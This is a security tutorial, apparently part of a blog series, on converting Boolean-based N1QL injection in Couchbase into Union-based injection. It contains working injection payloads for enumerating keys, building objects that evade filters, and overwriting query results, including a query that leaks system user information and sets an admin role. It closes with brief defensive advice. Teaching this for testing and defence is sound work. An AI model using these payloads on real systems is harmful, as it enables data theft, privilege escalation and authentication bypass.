N1QL Injection - Part 5
Boolean to Union - Revealing the Unseen
As N1QL is used to query, handle, manipulate and ultimately return a JSON object, if we are able to overwrite or control this object then we have a method for controlling the response and whatever uses the data. In this post we are going to be exploring some tricks and techniques that allow us to control the JSON object and convert Boolean-based N1QL injection into Union-based N1QL injection.
The Steps
In the majority of cases we will not be able to modify the original response directly, instead we will need to craft our own object to replace the valid one. This require the following steps:
- Step 1: Identify the keys in the response
- Step 2: Craft our own object
- Step 3: Overwrite the response with our object
Step 1: Identifying the keys in the response
This step can be the most difficult to perform depending on the complexity of the query involved and the amount of processing done on the server, but there are a few methods that can be used to help us obtain this information.
Method 1: Looking at the HTTP responses
Looking at the HTTP responses can be the easiest method for obtaining the field names, depending on the web application or API endpoint involved. In some instances, the body of the response contains the JSON object returned by the N1QL query. This would be the best case scenario as it gives us everything we need to move onto crafting our own objects and exploiting this further.
In other instances, we may get partial objects or objects that include aggregated data these. While these instances do not give us all of the information we need to craft our objects, they give us a good base to start from and we can combine this with other N1QL injection techniques to obtain more information or guess the missing parts.
Method 2: Reviewing the source code for the page
An alternative to the first method, is to look at the source code for the page where the data is used or loaded. Quite often when the response data is displayed in the page there are identifiers telling the application where to place it. We can then use these identifiers (labels, IDs, names, other HTML attributes, etc.) to infer the keys used within the JSON object.
For example, there are several identifiers in the following HTML snippet.
<div>
<div class="simpletest">
<h3 id="name">Welcome Patsy</h3>
<p id="isadmin">Is admin? False</p>
</div>
</div>
From these identifiers we can reasonably assume that the JSON object looks something like this:
{"name":"Patsy", "isadmin": false}
Method 3: Enumerating key names via the OBJECT_NAMES function
N1QL contains several functions for interacting with and manipulating JSON objects including one that allows us to obtain the key names, OBJECT_NAMES.
The OBJECT_NAMES function, as described in the Couchbase documentation, returns an array containing the names of each attribute in the input object. For our purposes we can use this to return the attribute names (keys) for a specific query or bucket, which we can then use to infer the original JSON object.
The specific way the function is used depends on the injection method, but the logical steps are:
Get the length of the name list
LEN(OBJECT_NAMES((SELECT * FROM `<bucket>`)[0]))=<number>
Get the length of each name in the list
LEN(OBJECT_NAMES((SELECT * FROM `<bucket>`)[0])[<position in list>])=<number>
Extract each name in the list
OBJECT_NAMES((SELECT * FROM `<bucket>`)[0])[<position in list>] LIKE '<comparison data>'
Step 2: Crafting our own object
While none of the above methods are foolproof, they allow us to determine the attribute names available from which we can craft our own response object.
This can be done via two methods:
- Method 1: Creating a raw JSON object
- Method 2: Using the built-in Object functions
Method 1: Creating a raw JSON Object
A raw JSON object is the easiest way of crafting our malicious object as it is easier to read and simpler to write. For example, {'firstname': 'Fake', 'lastname': 'Person', 'role':'user'}.
To inject our malicious object into the query it should be as easy as UNION SELECT <object>, right?
Wrong!
The problem with a standard UNION clause is that responses are wrapped within its own sub-object. For example:
[
{
"$1": [
{
"firstname": "Don",
"lastname": "Burke",
"role": "user"
},
{
"$1": {
"firstname": "Fake",
"lastname": "Person",
"role": "user"
}
}
]
}
]
To get around this we need to include the RAW keyword to remove this additional JSON wrapping.
For example the payload: UNION SELECT RAW {'firstname': 'Fake', 'lastname': 'Person', 'role':'user'}
Results in the following:
[
{
"$1": [
{
"firstname": "Don",
"lastname": "Burke",
"role": "user"
},
{
"firstname": "Fake",
"lastname": "Person",
"role": "user"
}
]
}
]
Method 2: Using the built-in Object functions
This second method makes use of the built-in OBJECT_PUT and OBJECT_CONCAT functions, that allow us to add elements to JSON object or combine two or more JSON objects together. While this method does produce much larger payloads compared to previous one, it allows greater flexibility when bypassing defences or when certain characters (such as { OR }) are blocked.
The OBJECT_PUT function can be used to insert a new attribute into an object or overwrite one with the same name, for example: OBJECT_PUT({},'firstname','Fake')
The OBJECT_CONCAT function, as its name suggests, can be used to combine multiple objects together, for example: OBJECT_CONCAT({'firstname':'Fake'}, {'lastname':'Person'})
We can combine these functions in multiple ways to create whatever object we need, and bypass any restrictions we encounter.
OBJECT_PUT(OBJECT_PUT(OBJECT_PUT({},'firstname','Fake'),'lastname','Person'),'role','user')
OBJECT_CONCAT(OBJECT_PUT({},'firstname','Fake'),OBJECT_PUT({},'lastname','Person'),OBJECT_PUT({},'role','user'))
OBJECT_PUT(OBJECT_PUT(OBJECT_PUT(BASE64_DECODE('e30='),'firstname','Fake'),'lastname','Person'),'role','user')
As with the previous method we append out payload to the UNION SELECT RAW statement to inject it into the query.
Step 3: Overwrite the response with our object
This final step of the process is the easiest but may take a few attempts to get intended outcome.
To overwrite the original object with our own we need to append two things to our payload, a LIMIT and an OFFSET.
Firstly, we need to append LIMIT 1 to make sure that only one JSON object is returned. Depending on the application returning multiple JSON objects may be OK, but this ensures that the application only processes our object.
Secondly, we need to append OFFSET <pos> to make sure the correct JSON object is returned. Generally, the <pos> value should be 1 as our object is usually the second in the list; however, in some instances our object is the first in the list so the value should be set to 0.
This results in the final payload of:
UNION SELECT RAW <object> limit 1 offset 1
The Impact
At this point we have put in a lot of work for what appears to be not a lot of gain, so what can we do with it? Well…potentially quite a lot.
The main impact is overwriting data used by the application, which is then displayed to the end user. (Converting Boolean injection to Union)
For example, if we have an application that queries for a user’s firstname and lastname and displays them to the end user. If we are able to overwrite those values with the our own object, then we can leak data from the database in a way that is quickly obtainable.
Normal query and output
Query
SELECT 'Don' as firstname, 'Burke' as lastname, 'user' as `role`
Output
[
{
"firstname": "Don",
"lastname": "Burke",
"role": "user"
}
]
Hijacked Query
Query
SELECT 'Don' as firstname, 'Burke' as lastname, 'user' as `role` UNION SELECT RAW {'firstname': DS_VERSION(), 'lastname':BASE64((SELECT * FROM system:my_user_info)), 'role':'admin'} LIMIT 1 OFFSET 1
Output
[
{
"firstname": "8.0.0-3777-enterprise",
"lastname": "W3sibXlfdXNlcl9pbmZvIjp7ImRvbWFpbiI6ImJ1aWx0aW4iLCJpZCI6IkFkbWluaXN0cmF0b3IiLCJuYW1lIjoiQWRtaW5pc3RyYXRvciIsInJvbGVzIjpbeyJyb2xlIjoiYWRtaW4ifV19fV0=",
"role": "admin"
}
]
Other impacts depend on the affected endpoint and how the data is used but could allow:
- Privilege escalation (particularly when the user’s role is defined within the JSON object)
- Authentication bypass (when used as part of a simple authentication mechanism)
- Data manipulation (e.g. assigning yourself a larger number of points in a game)
…and much more.
How to protect against this
Protecting against this type of attack, and any N1QL injection attack, is relatively straight forward:
- Sanitise all user input before being used in N1QL queries;
- Use positional or named parameters when generating the N1QL queries;
- Use prepared statements.